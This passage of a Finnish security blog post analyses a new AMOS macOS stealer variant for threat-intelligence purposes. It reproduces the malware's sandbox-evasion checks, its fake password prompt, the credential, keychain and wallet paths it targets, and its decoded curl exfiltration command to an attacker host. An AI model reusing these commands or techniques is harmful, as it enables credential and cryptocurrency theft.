[{"data":1,"prerenderedAt":3345},["ShallowReactive",2],{"sc:header-data-fi":3,"sc:footer-data-fi":489,"post-fi--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2772,"content-fi-list-7b291c2dd91a4":3125,"authors_data:Pascal Asch":3342},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"fi":13},{"title":14,"url":15,"alt":16},"Etusivu","/fi","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"fi":21},{"title":22,"description":23},"Workplace","Microsoft 365 -pohjaiset älykkäät, turvalliset ja joustavat työympäristöt, jotka yhdistävät nykyaikaiset teknologiat ja identiteettipalvelut.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"fi":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"fi":34},{"title":35,"url":36},"Managed Intune","/fi/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"fi":40},{"title":41,"url":42},"Managed Entra","/fi/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"fi":46},{"title":47,"url":48},"Managed Workplace","/fi/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"fi":52},{"title":53,"url":54},"Consulting Services","/fi/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"fi":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"fi":64},{"title":65,"url":66},"Microsoft Entra Suite","/fi/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"fi":70},{"title":71,"url":72},"Microsoft Intune","/fi/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"fi":76},{"title":77,"url":78},"Microsoft Windows","/fi/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"fi":82},{"title":83,"url":84},"Windows 365 Cloud PC","/fi/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"fi":88},{"title":89,"url":90},"Cloud Workplace Foundation","/fi/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"fi":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"fi":100},{"title":101,"url":102},"Microsoft 365 Copilot","/fi/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"fi":106},{"title":107,"url":108},"Teams","/fi/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"fi":112},{"title":113,"url":114},"SharePoint & Power Platform","/fi/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"fi":118},{"title":119,"url":120},"Exchange Online","/fi/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"fi":124},{"title":125,"url":126},"Information Protection & Compliance","/fi/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"fi":130},{"title":131,"description":132},"Azure","Vauhdita kasvua Azurella: leikkaa pilvikustannuksia, paranna tehokkuutta ja edistä innovaatioita IaaS:n ja PaaS:n avulla.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"fi":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"fi":142},{"title":143,"url":144},"Azure Managed Services","/fi/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"fi":148},{"title":149,"url":150},"Azure Consulting","/fi/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"fi":154},{"title":155},"Skenaariot",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"fi":160},{"title":161,"url":162},"Suunnittele pilvesi","/fi/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"fi":166},{"title":167,"url":168},"Siirry pilveen","/fi/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"fi":172},{"title":173,"url":174},"Uudista liiketoimintasi","/fi/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"fi":178},{"title":179,"url":180},"Mieti VMware-strategiasi uudelleen","/fi/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"fi":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"fi":190},{"title":191,"url":192},"Azure Foundation","/fi/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"fi":196},{"title":197,"url":198},"Azure AI Foundation","/fi/azure/azure-ai-foundation",{"name":86,"languages":200},{"fi":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"fi":205},{"title":206,"url":207},"Azure Data Foundation","/fi/azure/azure-data-foundation",{"name":188,"languages":209},{"fi":210},{"title":211,"url":212},"Azure Container Foundation","/fi/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"fi":216},{"title":217,"url":218},"Managed Dark Tenant","/fi/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"fi":222},{"title":223,"url":224},"Cloud Adoption Framework","/fi/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"fi":228},{"title":229,"url":230},"Cloud Competence Center","/fi/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"fi":234},{"title":235,"description":236,"emergency":237},"Tietoturva","Valppautta pilvessä palkitulla 24/7-hallintapalvelulla, häiriötilanteiden hallinnalla ja huippuluokan suojauksella infrastruktuurillesi.",{"text":238,"href":239,"skin":240,"icon":241},"Hyökkäyksen kohteena?","/fi/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"fi":249},{"title":250,"url":251},"Managed Red Tenant","/fi/security/managed-red-tenant",{"name":214,"languages":253},{"fi":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"fi":259},{"title":260,"url":261},"Sentinel Data Lake","/fi/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"fi":265},{"title":266,"url":267},"Security Consulting","/fi/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"fi":274},{"title":275,"url":276},"Cloud Security Operations Center","/fi/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"fi":280},{"title":281,"url":282},"Global Secure Access","/fi/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"fi":286},{"title":287,"url":288},"MyWorkID","/fi/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"fi":295},{"title":296,"url":297},"Preventive Services","/fi/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"fi":301},{"title":302,"url":303},"Data Security Service","/fi/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"fi":307},{"title":308,"url":309},"Security Copilot Agents","/fi/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"fi":313},{"title":314,"url":315},"NIS2:n käyttöönotto","/fi/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"fi":319},{"title":320,"description":321},"Tuotteet","Innovatiiviset täydentävät tuotteet täysin turvalliseen, 100-prosenttisesti pilvipohjaiseen Microsoft-ympäristöön, jotka parantavat yhteistyötä, verkon todennusta ja ohjelmistojen hallintaa.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"fi":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Pilvipohjainen ohjelmistojen jakelu",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"fi":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Varmenteiden jakelu pilvestä",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"fi":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Työskentele paikallisten Office 365 -tietojesi kanssa",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"fi":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Siirrä tietosi palvelimelta toiselle",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"fi":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider Microsoft 365:lle",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"fi":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Todennus verkollesi",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"fi":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Etsi yhteystietoja Microsoft Teamsista",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"fi":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot -valvonta reaaliajassa",{"name":396,"languages":397},"casestudies",{"fi":398},{"title":399,"url":400,"description":401},"Asiakastarinat","/fi/casestudies","Pilven edelläkävijä: paras Microsoft-kumppanisi kattaviin pilviratkaisuihin Blueprint-pohjaisella lähestymistavalla ja Infrastructure-as-Code-osaamisella.",{"name":403,"languages":404,"children":407},"company",{"fi":405},{"title":406,"description":401},"Yritys",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"fi":411},{"title":412},"Tietoa meistä",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"fi":417},{"title":418,"url":419},"Faktat ja luvut","/fi/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"fi":423},{"title":424,"url":425},"Yhteystiedot ja toimipisteet","/fi/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"fi":429},{"title":430,"url":431},"glueckkanja Sveitsi","/fi/company/switzerland",{"name":433,"languages":434},"austria",{"fi":435},{"title":436,"url":437},"glueckkanja Itävalta","/fi/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"fi":441},{"title":442},"Ura",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"fi":447},{"title":448,"url":449},"Urakatsaus","/fi/career",{"name":451,"languages":452},"company-young-professionals",{"fi":453},{"title":454,"url":455},"Young Professionals","/fi/young-professionals",{"name":457,"languages":458},"company-jobs",{"fi":459},{"title":460,"url":461},"Avoimet työpaikat","/fi/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"fi":465},{"title":466},"Uusimmat",[468,474],{"name":469,"languages":470},"company-blog",{"fi":471},{"title":472,"url":473},"Blogi","/fi/blog",{"name":469,"languages":475},{"fi":476},{"title":477,"url":478},"Tapahtumat","/fi/events",[480],{"name":481,"languages":482},"career-meta",{"fi":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"fi":487},{"title":488,"url":425,"active":484},"Yhteystiedot",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksFi":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Tietosuoja","/fi/privacy",{"title":514,"url":515},"Oikeudelliset tiedot","/fi/imprint",{"title":517,"url":518},"Ei evästeitä","/fi/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2674,"hideInRecent":484,"layout":2675,"meta":2676,"moment":2680,"navigation":325,"path":2762,"seo":2763,"stem":2764,"tags":2765,"webcast":484,"__hash__":2771},"content_fi/posts/2026-04-10-incident-to-intelligence.md","Tuntemattoman AMOS Stealerin anatomia: alertista immuniteettiin tunneissa",[523],"Pascal Asch",{"type":525,"value":526,"toc":2638},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,923,926,930,932,1016,1020,1022,1033,1040,1114,1125,1132,1136,1138,1203,1207,1209,1216,1218,1222,1224,1231,1257,1444,1447,1455,1466,1469,1477,1491,1504,1506,1510,1512,1530,1552,1742,1745,1753,1756,1759,1761,1765,1767,1770,1849,1852,1871,1950,1953,1955,1959,1961,1964,1971,2026,2029,2037,2040,2042,2046,2048,2055,2067,2115,2126,2165,2174,2189,2192,2194,2198,2200,2207,2210,2218,2221,2229,2243,2246,2248,2252,2254,2264,2268,2270,2288,2296,2310,2329,2333,2335,2338,2346,2349,2357,2371,2375,2377,2380,2388,2407,2413,2417,2419,2427,2433,2440,2444,2446,2454,2458,2460,2463,2471,2474,2478,2480,2488,2492,2494,2502,2506,2508,2516,2520,2522,2530,2547,2552,2554,2558,2560,2567,2584,2587,2600,2602,2606,2608,2611,2614,2617,2634],[528,529,530],"p",{},"Kun SOC:ssamme laukeaa alert, kello alkaa käydä: ei vain kyseiselle asiakkaalle vaan kaikille organisaatioille suojamme alla. Vaarallisin hetki nykyaikaisessa uhkaympäristössä on Intelligence Gap, se aikaikkuna uuden haittaohjelmavariantin ensimmäisen käytön ja sen päivän välillä, jona ala saa siitä tiedon.",[528,532,533],{},"Itsenäisille tietoturvatiimeille tämä aukko merkitsee äärimmäistä haavoittuvuutta: odotellaan vendor-päivitystä tai signatuurifeediä, jota ei ole vielä kirjoitettu. Asiakkaillemme sisäisesti kehittämämme Shared Threat Intelligence sulkee täsmälleen tämän ikkunan.",[528,535,536],{},"Tämä kirjoitus on tekninen erittely siitä, miten purimme tähän asti dokumentoimattoman AMOS-variantin (Atomic macOS Stealer) ja miten yhdestä ainoasta kompromentoidusta endpointista tuli muutamassa tunnissa kattava tunnistus ja esto kaikkiin asiakasympäristöihimme.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"tapaus-tuntematon-ioc-skenaario","Tapaus: tuntematon IOC-skenaario",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"Alert saapui 12. maaliskuuta 2026 kello 06.25 paikallista aikaa: macOS-endpoint oli kompromentoitu. Kun SOC:mme aloitti artefaktien analyysin, edessämme oli tilanne, jota jokainen threat analyst pelkää: ei tunnettuja tiedostohasheja, ei C2-IP-osoitteita, ei puhuttelevia käyttäytymissignatuureja julkisissa tietokannoissa.",[528,552,553,554,558],{},"Koko hyökkäysarkkitehtuuri paljastui vasta syväanalyysissä. Infektio perustui 15,7 Mt:n kokoiseen macOS Universal Binaryyn (x86_64 ja ARM64), joka oli sijoitettu polkuun ",[555,556,557],"code",{},"/private/tmp/helper",". Sample ei ollut suoraan saatavilla kompromentoidulla järjestelmällä; tiimimme joutui rekonstruoimaan infektioketjun ja simuloimaan alkuperäisen toimituspyynnön hakeakseen binäärin käsin hyökkääjän infrastruktuurista.",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1-sandbox-tarkistukset","Stage 1: sandbox-tarkistukset",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"Ennen kuin varsinainen stealer suoritettiin laitteella, oli jo ajettu AppleScript-payload. Jokainen merkkijono siinä, jokainen tiedostopolku, jokainen shell-komento, jokainen URL oli koodattu kolmella mukautetulla aritmeettisella funktiolla:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"Yksikään merkkijono ei esiinny selkotekstinä. Se, mikä ensi silmäyksellä näytti merkityksettömiltä kokonaislukutaulukoilta, paljastui koodausskeeman kääntämisen jälkeen täydeksi, käyttövalmiiksi tietovarkaus- ja eksfiltraatiokehykseksi.",[528,590,591],{},"Dekoodasimme jokaisen taulukon skriptissä staattisesti. Tulokset olivat yksiselitteisiä:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"Lataus-URL jäljittelee tarkoituksella legitiimiä n8n-workflow-automaation päivitystä, ja n8n on työkalu, joka on laajalti levinnyt kehittäjien ja DevOps-insinöörien keskuudessa. Se ei ole sattumaa: kampanja tähtää teknisesti taitaviin käyttäjiin, ei tavallisiin loppukäyttäjiin, jotka asentavat krakattua ohjelmistoa.",[562,604,606],{"id":605},"anti-sandbox-tarkistus","Anti-sandbox-tarkistus",[528,608,568],{},[528,610,611],{},"Ennen latausta skripti ajoi oman VM- ja sandbox-tunnistusrutiinin. Incident-artefakteista pystyimme lisäksi palauttamaan itsenäisen anti-sandbox-skriptin:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"Tulokset skripti tarkisti sitten kahta listaa vastaan. Ensimmäinen etsi virtualisointimerkintöjä muistitiedoista:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"Toinen tarkisti laitteistotunnisteet tunnettujen analyysikoneiden sarjanumerolistaa vastaan:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"Osuman sattuessa: ",[555,661,662],{},"exit 100",", täysi keskeytys. Aidolla MacBook Prolla, jossa on Apple Silicon, kaikki tarkistukset menivät äänettömästi läpi ja suoritus jatkui. Ammattitason sandbox-evaasiotekniikka, joka ajoi ennen kuin ainuttakaan binäärin tavua oli ladattu.",[562,665,667],{"id":666},"yksinkertainen-mutta-tehokas-väärennetty-salasanakysely","Yksinkertainen mutta tehokas: väärennetty salasanakysely",[528,669,568],{},[528,671,672],{},"Dekoodattu skripti sisälsi myös dialogin oikeuksien korottamiseen social engineeringin kautta:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"Dialogi ilmestyy tavallisella macOS:n ",[555,685,686],{},"display dialog"," -kutsulla ",[555,689,690],{},"with hidden answer"," -määreellä, eikä sitä voi visuaalisesti erottaa aidosta macOS:n valtuutuskyselystä. Syötettyä salasanaa skripti käytti kutsuakseen ",[555,693,694],{},"login -pf \u003Cusername>"," ja nostaakseen prosessin root-oikeuksiin, vielä ennen kuin binääri suoritettiin.",[562,697,699],{"id":698},"mitä-skripti-keräsi","Mitä skripti keräsi",[528,701,568],{},[528,703,704],{},"Heti kun binääri oli suoritettu, osascript jatkoi omaa keräysprosessiaan ja poimi jokaisen arkaluonteisen järjestelmädatan kategorian. Dekoodasimme kaikki keräyspolut ja kohteet:",[706,707,709],"h3",{"id":708},"selaindata-kaikki-chromium-selaimet-safari","Selaindata (kaikki Chromium-selaimet + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"Koko sisältö vietiin HTML:nä laskurityppisellä otsikolla",[706,745,747],{"id":746},"paikalliset-tiedostot","Paikalliset tiedostot",[528,749,712],{},[528,751,752],{},"Työpöytä ja Dokumentit, enintään 30 Mt, painopisteenä:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"kryptovaluttalompakot","Kryptovaluttalompakot",[528,766,712],{},[528,768,769,770,774],{},"Kovakoodattu lista, jossa on ",[771,772,773],"strong",{},"yli 200 selainlaajennuksen ID:tä"," ja joka kattaa kaikki yleiset lompakot, mukaan lukien MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ja Exodus.",[528,776,777],{},"Keräyksen jälkeen kaikki data niputettiin satunnaisesti nimettyyn väliaikaishakemistoon ja eksfiltroitiin:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"Siivous seurasi välittömästi:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"stage-2-helper-binäärin-reverse-engineering","Stage 2: 'helper'-binäärin reverse engineering",[528,916,547],{},[528,918,919,922],{},[555,920,921],{},"helper","-binääri on se osa, jossa tämä analyysi menee todella syvälle. Kyseessä on ammattimaisesti obfuskoitu macOS-executable, joka vaikeuttaa staattista analyysiä järjestelmällisesti ja aiheutti tämän tutkimuksen suurimman reverse engineering -työn.",[528,924,925],{},"Koko analyysi tehtiin Ghidralla ja omalla mukautetulla ARM64-analyysityönkulullamme.",[562,927,929],{"id":928},"tiedoston-ominaisuudet","Tiedoston ominaisuudet",[528,931,568],{},[573,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Ominaisuus",[949,954,955],{"style":951},"Arvo",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"Size",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[555,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[555,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[555,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1017,1019],{"id":1018},"se-alkaa-ennen-main-funktiota","Se alkaa ennen main()-funktiota",[528,1021,568],{},[528,1023,1024,1025,1028,1029,1032],{},"Ensimmäinen asia, jonka totesimme Ghidrassa: tämä binääri ei käyttäydy kuin normaali executable. Varsinainen sisääntulopiste ei ole ",[555,1026,1027],{},"main()"," vaan funktio, joka on rekisteröity ",[555,1030,1031],{},"__mod_init_func","-osioon, macOS-mekanismiin, joka ohjeistaa dynaamista linkkeriä (dyld) suorittamaan tietyt funktiot automaattisesti binäärin latautuessa, vielä ennen kuin hyödyllistä koodia ajetaan.",[528,1034,1035,1036,1039],{},"Init-funktio osoitteessa ",[555,1037,1038],{},"0x10009f384"," on haittaohjelman varsinainen sisääntulopiste. Tässä Ghidra-dekompilaatio:",[573,1041,1042],{"style":575},[1043,1044,1045,1049,1052,1055,1059,1060,1064,1065,1067,1068,1071,1072,1086],"code-block",{},[622,1046,1048],{"style":1047},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1050,1051],"br",{},[622,1053,1054],{"style":1047},"// __mod_init_func registered — executes before main()",[622,1056,1058],{"style":1057},"color:#d73a49","void"," ",[622,1061,1063],{"style":1062},"color:#6f42c1","FUN_10009f384","(",[622,1066,1058],{"style":1057},")\n{\n  ",[622,1069,1070],{"style":1057},"int"," iVar1;\n",[528,1073,1074,1077,1078,1064,1081,1085],{},[622,1075,1076],{"style":1047},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1079,1080],{"style":1062},"_usleep",[622,1082,1084],{"style":1083},"color:#005cc5","0x37e",");",[528,1087,1088,1091,1094,1095,1097,1098,1101,1102,1105,1106,1109,1110,1113],{},[622,1089,1090],{"style":1047},"// Indirect jump table — 14-state machine",[622,1092,1093],{"style":1047},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1096,555],{"style":1057}," _)((",[622,1099,1100],{"style":1057},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1103,1104],{"style":1083},"4"," + ",[622,1107,1108],{"style":1083},"0x10009f440","))(iVar1);\n",[622,1111,1112],{"style":1057},"return",";\n}",[528,1115,1116,1117,1120,1121,1124],{},"Kaksi asiaa pistää heti silmään. Ensinnäkin 894 mikrosekunnin ",[555,1118,1119],{},"usleep"," käynnistyksessä: anti-sandbox-ajoitussignaali. Vakavampi on epäsuora hyppytaulukko 